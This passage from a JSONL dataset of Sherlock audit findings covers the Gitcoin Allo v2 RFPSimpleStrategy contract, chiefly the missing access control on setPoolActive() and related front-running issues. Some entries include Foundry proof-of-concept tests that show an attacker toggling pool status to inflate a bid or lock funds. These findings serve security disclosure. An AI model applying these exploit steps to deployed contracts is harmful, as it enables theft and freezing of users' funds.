[setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222) can be used in many different ways, most of which cause DoS.\n\n## Impact\nDoS on manager and user calls.\n## Code Snippet\n```jsx\n function setPoolActive(bool _flag) external { //@audit no access restriction\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n- function setPoolActive(bool _flag) external { \n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) { \n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/401.md"}} +{"title":"Anyone can Set the Active Status of the Strategy Pool because the `onlyPoolManager()` Modifier is Missing","severity":"major","body":"Late White Capybara\n\nhigh\n\n# Anyone can Set the Active Status of the Strategy Pool because the `onlyPoolManager()` Modifier is Missing\nThe current issue with the strategy Pool is that there is a missing security measure called the `onlyPoolManager()` modifier on the `setPoolActive()` function. \n\n## Vulnerability Detail\nThe [`RFPSimpleStrategy.setPoolActive()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function is meant to control the active or inactive status of the `RFPSimpleStrategy.sol` Pool. Ideally & as per the code comments, it should only be accessible to the designated pool manager, but it lacks an access control modifier. Consequently, anyone can invoke this function and modify the pool's status. This vulnerability is concerning because many other functions rely on the `onlyActivePool` modifier.\n```solidity\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n ///@audit-issue H Access Control Missing\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n``` \n\n## Impact\n- Access Control Missing\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this vulnerability, it is recommended to add the `onlyPoolManager()` modifier to the `setPoolActive()` function as follows:\n```solidity\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/394.md"}} +{"title":"Loss of funds for users as there is no access control for the ā€˜setPoolActiveā€™ function","severity":"major","body":"Gorgeous Gingham Jay\n\nhigh\n\n# Loss of funds for users as there is no access control for the ā€˜setPoolActiveā€™ function\n\nThe modifier `onlyPoolManager(msg.sender)` is missing in the function `setPoolActive()` in contracts/strategies/rfp-simple/RFPSimpleStrategy.sol. This also affects the contract `RFPCommitteeStrategy` that inherits from it.\n\n## Vulnerability Detail\n\nA dev docstring indicates that the msg.sender must be a pool manager but there is no such check being done. This external function allows to change the state of the pool which should be a privileged operation.\n\n## Impact\n\nThis can lead to fund loss, a few examples would be:\n- Preventing the pool manager to pull out funds using `withdraw()`. \n- DDos main functionalities (Registration, Allocation, Distribution) by monitoring the mempool and switching between active and inactive pools.\n- Favor which recipients are registered and block others from being registered, potentially stealing funds if the recipients are compromised. \n\nAnd even if the pool manager attempts to use `setPoolActive()` to switch back to the correct state, attacker can just monitor and counter at very low cost. The amount of funds at risks is the total amount of funds in the strategy.\n\n## Code Snippet\n\n[github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol?plain=1#L219](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222)\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event. (1)\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n(1) clearly states that the msg.sender must be a pool manager to close the pool. \n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to add `onlyPoolManager(msg.sender)` to fix the issue.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/389.md"}} +{"title":"RFPSimpleStrategy.setPoolActive() lacks an access control, therefore, anybody can call it and change the status of the pool to active/inactive.","severity":"major","body":"Fresh Indigo Platypus\n\nhigh\n\n# RFPSimpleStrategy.setPoolActive() lacks an access control, therefore, anybody can call it and change the status of the pool to active/inactive.\n``RFPSimpleStrategy.setPoolActive()`` lacks an access control, therefore, anybody can call it and changes the status of the pool to active/inactive. \n\nImpact: Many functions depend on the status of the pool, if the status of the pool is changed, the logic of the contracts will be totally wrong. It might lead to loss of funds since a pool manager will be able to withdraw even when the pool is active by changing it to inactive first.\n\n\nIt will also allow a second pool manager to replace an existing ``acceptedRecipientId`` by calling ``RFPSimpleStrategy._allocate()`` although the original design is that ``acceptedRecipientId`` can only be set once. \n\n\n## Vulnerability Detail\n\n``RFPSimpleStrategy.setPoolActive()`` allows one to change the status of the pool:\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222)\n\nHowever, it lacks an access control, so anybody can call it and changes its status to active/inactive. \n\nMany functions depend on the status of the pool: \n\n1) _registerRecipient():\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L380)\n\n2) _allocate()\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L412](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L412)\n\n3) _distribute():\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450)\n\n4) withdraw():\n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295-L301](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295-L301)\n\nAs a result, a malicious user can change the status of the pool, and enables the execution of some functions in a state that is not supposed to be executed. For example, a pool manager can only withdraw funds when the pool is inactive - but now even when the pool is active, a bad manager can changes the pool to inactive, withdraw the funds, and then change it back to active. Similarly, one can changes an inactive pool to an active one, and then call ``allocate()`` which is supposed to be execute when the pool is active. \n\n\n## Impact\nAnybody can change the status of the pool, an important state of the contract. As a result, the inner state of the contract is confused, that leads to wrong execution logic of functions. \n\nIn addition, It might lead to loss of funds since a pool manager will be able to withdraw even when the pool is active by changing it to inactive first. It will also allow a second pool manager to replace an existing ``acceptedRecipientId`` by calling ``RFPSimpleStrategy._allocate()`` although the original design is that ``acceptedRecipientId`` can only be set once. \n\n\n\n## Code Snippet\n\n## Tool used\nVSCode\n\nManual Review\n\n## Recommendation\nAdd a modifier as an access control to ``RFPSimpleStrategy.setPoolActive()``.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/381.md"}} +{"title":"RFPSimpleStrategy.allocate() can be front-run, allowing the someone to bid very low but charge very high","severity":"major","body":"Merry Punch Caterpillar\n\nhigh\n\n# RFPSimpleStrategy.allocate() can be front-run, allowing the someone to bid very low but charge very high\n\nThe winning recipient of an RFP pool may change their bid right at the moment they're chosen, allowing them to get paid for more than the pool-owner expects.\n\nThere is another vulnerability where the recipient can abuse the lack of access control on setPoolActive() to do this . This is a separate issue, as it involves front-running allocate() instead of distribute(), and the fix to that issue (fixing access control on setPoolActive()) will not fix this, nor vice-versa.\n\n## Vulnerability Detail\n\n1. Alice creates a pool and funds it to 100K USDC\n2. Bob submits the winning bid, saying he can do it for only 500 USDC. (I.e.: he calls registerRecipient() with a bid of 500 USDC)\n3. Alice calls allocate() to award the contract to Bob....\n4. ...but Bob front-runs it by calling registerRecipient again, changing his bid to 100k USDC.\n5. Now Bob won with a bid of 100k USDC. Either Alice notices the change before the first call to distribute(), in which case she withdraws from the pool and loses the (quite substantial) fees used to fund it, or she doesn't, and pays way too much\n\nThere is one very realistic use-case that makes this even worse: Many projects require some up-front payment. For such a project, the pool owner may both allocate() to the winner and distribute() the first milestone in a single transaction. In that case, there is no chance for the pool owner to detect Alice\n\nSimilarly, because Bob's bid is so low, he may be able to socially-engineer Alice to pay the whole thing immediately. E.g.: \"Hi, I'm Bob, an expert at your task. I really believe in what you're doing, so I'm willing to do it for only $100. All I ask is that I get paid up-front immediately, so that I can treat my wife to a nice dinner for her birthday tomorrow.\"\n\n## Impact\n\nBidders can bait-and-switch to win a bid with the highest possible bid amount, even if there are lower bidders. And they can trick pool owners into paying them far more than expected.\n\n## Code Snippet\n\nNotice how registerRecipient() can be called any time until allocate() is called.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L393\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd slippage protection to allocate(), where the call to allocate() accepts a parameter for the expected bid, and reverts if it has changed.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/378.md"}} +{"title":"Missing access control in function setPoolActive allows bad actors to DOS multiple functions","severity":"major","body":"Abundant Vinyl Scorpion\n\nhigh\n\n# Missing access control in function setPoolActive allows bad actors to DOS multiple functions\n\nMissing modifier in function setPoolActive allows bad actors to DOS multiple functions with the contract \n\n## Vulnerability Detail\n\nObserve the following code\n\n https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\nThe comments suggest that the function setPoolactive should be called by a pool manager. However, there is no such access control on the function, allowing anyone to call it. This is very dangerous as it allows anyone to frontrun and disable functions such as _allocate which checks on the status of a pool\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391\n\nOther functions that rely on the status of the pool to execute are _registerRecipient and _distribute.\n\n## Impact\n\nSeveral functions can be DOS due to a lack of access control on the function setPoolActive\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the pool manager modifier to the function setPoolActive","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/371.md"}} +{"title":"Anyone can grief function execution by setting poolActive flag in RFPSimpleStrategy","severity":"major","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Anyone can grief function execution by setting poolActive flag in RFPSimpleStrategy\n\nAn unprotected function allows anyone to set critical state, preventing execution of critical functions which rely on an expected state.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy.setPoolActive` should be a protected function, but instead anyone can call it. Some important functions can only be executed if the `poolActive` flag is in a specific state: `withdraw`, `registerRecipient`, `_allocate`, `_distribute`. Since anyone can set that state, anyone can prevent function execution by flipping the flag to the incorrect state immediately before the function is executed.\n\n## Impact\n\nExecution of critical functions can be prevented by any user, resulting in reverts and requiring atomically setting the correct `poolActive` state immediately before calling these critical functions for execution to proceed.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n// @audit missing authorization\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n`setPoolActive` should be protected by an `onlyPoolManager` modifier as presumably intended.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/356.md"}} +{"title":"Lack of access control in setPoolActive function","severity":"major","body":"Passive Golden Skunk\n\nhigh\n\n# Lack of access control in setPoolActive function\n\n## Vulnerability Detail\n```solidity\nfunction setPoolActive(bool _flag) external { \n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nDue to a Lack of access control in the RFPSimpleStrategy.setPoolActive() function, anyone can set the pool as active or inactive.\n## Impact\nFunctions with onlyInactivePool or onlyActivePool modifiers can not be usable because the malicious user can set the pool as active or inactive whenever he wants.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd onlyPoolManager modifier to the setPoolActive() function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/334.md"}} +{"title":"No access control on `setPoolActive()` can result last minute change of proposal bid","severity":"major","body":"Recumbent Citron Mustang\n\nhigh\n\n# No access control on `setPoolActive()` can result last minute change of proposal bid\n\nThe function [`setPoolActive()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) in the RFPSimpleStrategy contract lacks access control allowing anyone to set `poolActive` to `true` or `false`.\n\n## Vulnerability Detail\n\nEach strategy inherit the [`baseStrategy`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L30) contract which has a private variable `poolActive`.\n\nIn the RFPSimpleStrategy, this variable determine if registering is still open or if we can pick a `recipient` as well as distribute or withdraw funds. By not putting an access control on the `setPoolActive()` function, it allows any user to temporarly disable some functions of the contract as well as being able to register even if the `reicipient`has been set.\n\nBecause we can still register, it means an accepted recipient could increase its proposal bid right before the pool manager distribute rewards for a milestone, thus earning more than he was supposed to be. Max being the `poolAmount`.\n\n## Impact\n\nHigh. \n- Can temporarily disable some functions of the contract and make calls revert.\n- The accepted recipient could frontrun the `distribute()` call by the pool manager and update its `proposalBid` to receive more tokens.\n\n## Code Snippet\n\nHere is a POC that can be copy pasted in the RFPSimpleStrategy test file.\n\n```solidity\nfunction test_update_recipient_proposalBid() public {\n //Fund pool with 2 ether\n vm.deal(pool_admin(), 2 ether);\n vm.prank(pool_admin());\n allo().fundPool{value: 2 ether}(poolId, 2 ether);\n\n //register with 1e17 wei and allocate to a recipient\n address sender = recipient();\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n bytes memory data = abi.encode(recipientAddress(), false, 1e17, metadata);\n vm.prank(address(allo()));\n address recipientId = strategy.registerRecipient(data, sender);\n __setMilestones();\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientId), address(pool_admin()));\n\n //pool is now active = false and we got accepted as recipient\n IStrategy.Status recipientStatus = strategy.getRecipientStatus(recipientId);\n assertEq(uint8(recipientStatus), uint8(IStrategy.Status.Accepted));\n assertEq(strategy.isPoolActive(), false);\n\n //anyone can set pool active\n vm.prank(makeAddr(\"not_pool_manager\"));\n strategy.setPoolActive(true);\n\n //update the recipient with a higher proposalBid\n metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n\n //increase from 1e17 to 1e18 wei our proposal bid\n data = abi.encode(recipientAddress(), false, 1e18, metadata);\n vm.prank(address(allo()));\n recipientId = strategy.registerRecipient(data, sender);\n\n //set pool back to false so distribute don't revert\n vm.prank(makeAddr(\"not_pool_manager\"));\n strategy.setPoolActive(false);\n\n //distribute\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `onlyPoolManager(msg.sender)` modifier to the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/320.md"}} +{"title":"Lack of access control on `setPoolActive` of `RFPSimpleStrategy`","severity":"major","body":"Funny Ocean Yeti\n\nmedium\n\n# Lack of access control on `setPoolActive` of `RFPSimpleStrategy`\nThe `setPoolActive` function of `RFPSimpleStrategy` is missing access control.\n\n## Vulnerability Detail\n[`setPoolActive`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C1-L222C6) is supposed to be only called by pool manager to toggle the status of the pool. However, this function doesn't have any access control to it, which lets any actor to change the status of the pool.\n\n## Impact\nA malicious actor can change the status of the pool.\n\n## Code Snippet\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd `_checkOnlyPoolManager(msg.sender)` before `_setPoolActive(_flag)`, or add the `onlyPoolManager` modifier to the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/312.md"}} +{"title":"Anyone can active or deactivate RFP Strategy pools","severity":"major","body":"Digital Berry Horse\n\nhigh\n\n# Anyone can active or deactivate RFP Strategy pools\nAnyone can active or deactivate RFP Strategy pools since there is no check if the _msg.sender_ has the pool manager role when calling _setPoolActive()_\n## Vulnerability Detail\nAs there is no validation in the function _setPoolActive()_ that the _msg.sender_ is a _poolManager_, anyone can call it activating or deactivating a pool. Example with loss of funds: once the strategy is funded and ready to _distribute_, an attacker could reactivate the pool, making it impossible to _distribute_ or to _withdraw_, since both functions require the pool to be inactive in order to call them. Here is a PoC:\n\n function test_setPoolActiveAttacker() public {\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n vm.deal(pool_admin(), 1e19);\n \n // Pool is funded: this funds will be lost\n vm.startPrank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n assertEq(strategy.isPoolActive(), false);\n vm.stopPrank();\n \n // Attacker reactivates tge pool\n vm.startPrank(makeAddr(\"Attacker\"));\n strategy.setPoolActive(true);\n assertEq(strategy.isPoolActive(), true); \n vm.stopPrank();\n \n // Not able to distribute\n vm.expectRevert(POOL_ACTIVE.selector);\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n \n // Not able to withdraw\n vm.expectRevert(POOL_ACTIVE.selector);\n vm.prank(pool_admin());\n strategy.withdraw(1e18);\n }\n\n## Impact\nFunding pools that use a RFP Strategy will result in funds locked in the FRP Strategy contract.\n\n## Code Snippet\nCheck missing:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\nAffected functions:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L423\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nAdd the modifier _onlyPoolManager(msg.sender)_ to _setPoolActive()_.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/288.md"}} +{"title":"RFPSimpleStrategy.setPoolActive() does not have any relevant access control","severity":"major","body":"Deep Grape Narwhal\n\nhigh\n\n# RFPSimpleStrategy.setPoolActive() does not have any relevant access control\n RFPSimpleStrategy.setPoolActive() does not have any relevant access control \n\n## Vulnerability Detail\nRFPSimpleStrategy.setPoolActive() is used to set the pool to active or inactive, there are several functions within the contract that depend on the state of the pool (active or inactive).\n\nFor example \n_registerRecipient() requires the pool to be active to Submit a proposal to RFP pool\n\n _allocate() requires the pool to be active to allocate funds to recipients who accept them.\n\n _distribute() requires the pool to be inactive to distribute the upcoming milestone to acceptedRecipientId.\n\nwithdraw() requires the pool to be inactive to withdraw funds from pool.\n\nAccording to the documentation at https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/README.md#sequence-diagram, this function can only be called by poolmanager , and the comment also clearly state that 'msg.sender' must be a pool manager to close the pool. https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217\n\n\n## Impact\nMalicious users can perform Front Runningļ¼š\n1. activate the pool to deter the poolmanager withdraw funds from pool.\n2. close the pool to deter submit a proposal to RFP pool\n3. activate the pool to deter the poolmanager distribute the upcoming milestone to acceptedRecipientId.\n\nThe poolmanager can not withdraw and distribute the funds leads to funds to be locked into the contract,and the function of the protocol has been severely disrupted.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\nManual Review\n\n## Recommendation\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/267.md"}} +{"title":"`distribute()` can be front-run by toggling pool status to steal funds","severity":"major","body":"Little Cloth Coyote\n\nhigh\n\n# `distribute()` can be front-run by toggling pool status to steal funds\nMissing modifier in `setPoolActive()` allows anyone to toggle status of pool. Profile members can front-run `distribute()` and steal funds. \n\n## Vulnerability Detail\nThe `setPoolActive()` function lacks the necessary onlyPoolManager modifier. According to NatSpec, only the pool manager should have access to this function.\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nThis exploit can occur in both RFPSimpleStrategy and RFPSimpleStrategy. Once `upcomingMilestone` is completed and `acceptedRecipientId` is selected by pool managers through `allocate()`, a profile member can increase funding by front-running `distribute()`. This involves swiftly changing the pool's status to active, re-registering `acceptedRecipientId` using `registerRecipient()` on Allo.sol with increased `recipient.proposalBid`, and deactivate the pool all within a single transaction.\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n bool isUsingRegistryAnchor;\n address recipientAddress;\n address registryAnchor;\n uint256 proposalBid;\n Metadata memory metadata;\n\n // Decode '_data' depending on the 'useRegistryAnchor' flag\n if (useRegistryAnchor) {\n /// @custom:data when 'true' -> (address recipientId, uint256 proposalBid, Metadata metadata)\n (recipientId, proposalBid, metadata) = abi.decode(_data, (address, uint256, Metadata));\n\n // If the sender is not a profile member this will revert\n if (!_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n } else {\n // @custom:data when 'false' -> (address recipientAddress, address registryAnchor, uint256 proposalBid, Metadata metadata)\n (recipientAddress, registryAnchor, proposalBid, metadata) =\n abi.decode(_data, (address, address, uint256, Metadata));\n\n // Check if the registry anchor is valid so we know whether to use it or not\n isUsingRegistryAnchor = registryAnchor != address(0);\n\n // Ternerary to set the recipient id based on whether or not we are using the 'registryAnchor' or '_sender'\n recipientId = isUsingRegistryAnchor ? registryAnchor : _sender;\n\n // Checks if the '_sender' is a member of the profile 'anchor' being used and reverts if not\n if (isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) revert UNAUTHORIZED();\n }\n\n // Check if the metadata is required and if it is, check if it is valid, otherwise revert\n if (metadataRequired && (bytes(metadata.pointer).length == 0 || metadata.protocol == 0)) {\n revert INVALID_METADATA();\n }\n\n if (proposalBid > maxBid) {\n // If the proposal bid is greater than the max bid this will revert\n revert EXCEEDING_MAX_BID();\n } else if (proposalBid == 0) {\n // If the proposal bid is 0, set it to the max bid\n proposalBid = maxBid;\n }\n\n // If the recipient address is the zero address this will revert\n if (recipientAddress == address(0)) revert RECIPIENT_ERROR(recipientId);\n\n // Get the recipient\n Recipient storage recipient = _recipients[recipientId];\n\n if (recipient.recipientStatus == Status.None) {\n // If the recipient status is 'None' add the recipient to the '_recipientIds' array\n _recipientIds.push(recipientId);\n emit Registered(recipientId, _data, _sender);\n } else {\n emit UpdatedRegistration(recipientId, _data, _sender);\n }\n\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.useRegistryAnchor = isUsingRegistryAnchor ? true : recipient.useRegistryAnchor;\n recipient.proposalBid = proposalBid;\n recipient.recipientStatus = Status.Pending;\n }\n```\n`amount` is calculated by newly updated `recipient.proposalBid`, `acceptedRecipientId` will receive more funds than originally intended when `_distribute()` is executed.\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nOther key functions such as `distribute()`, `allocate()`, and `registerRecipient()`, each equipped with status modifiers, are susceptible to disruption by toggling of the pool status.\n\n## Impact\nUnauthorized individuals can grief the pool. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219 \n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nSide Note:\n\nAs last line of defense, I also recommend checking `_recipients[acceptedRecipientId].recipientStatus == Status.Accepted` in `_distribute()`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/255.md"}} +{"title":"RFPSimpleStrategy recipients can frontrun distribution with a re-registration to increase proposalBid and receive more tokens","severity":"major","body":"Sneaky Amethyst Robin\n\nhigh\n\n# RFPSimpleStrategy recipients can frontrun distribution with a re-registration to increase proposalBid and receive more tokens\n\nMissing authorization logic allows recipients to control the `poolActive` state of the RFPSimpleStrategy contract such they can frontrun distribution by re-registering to increase the payout they receive.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy.setPoolActive` lacks authorization logic, allowing 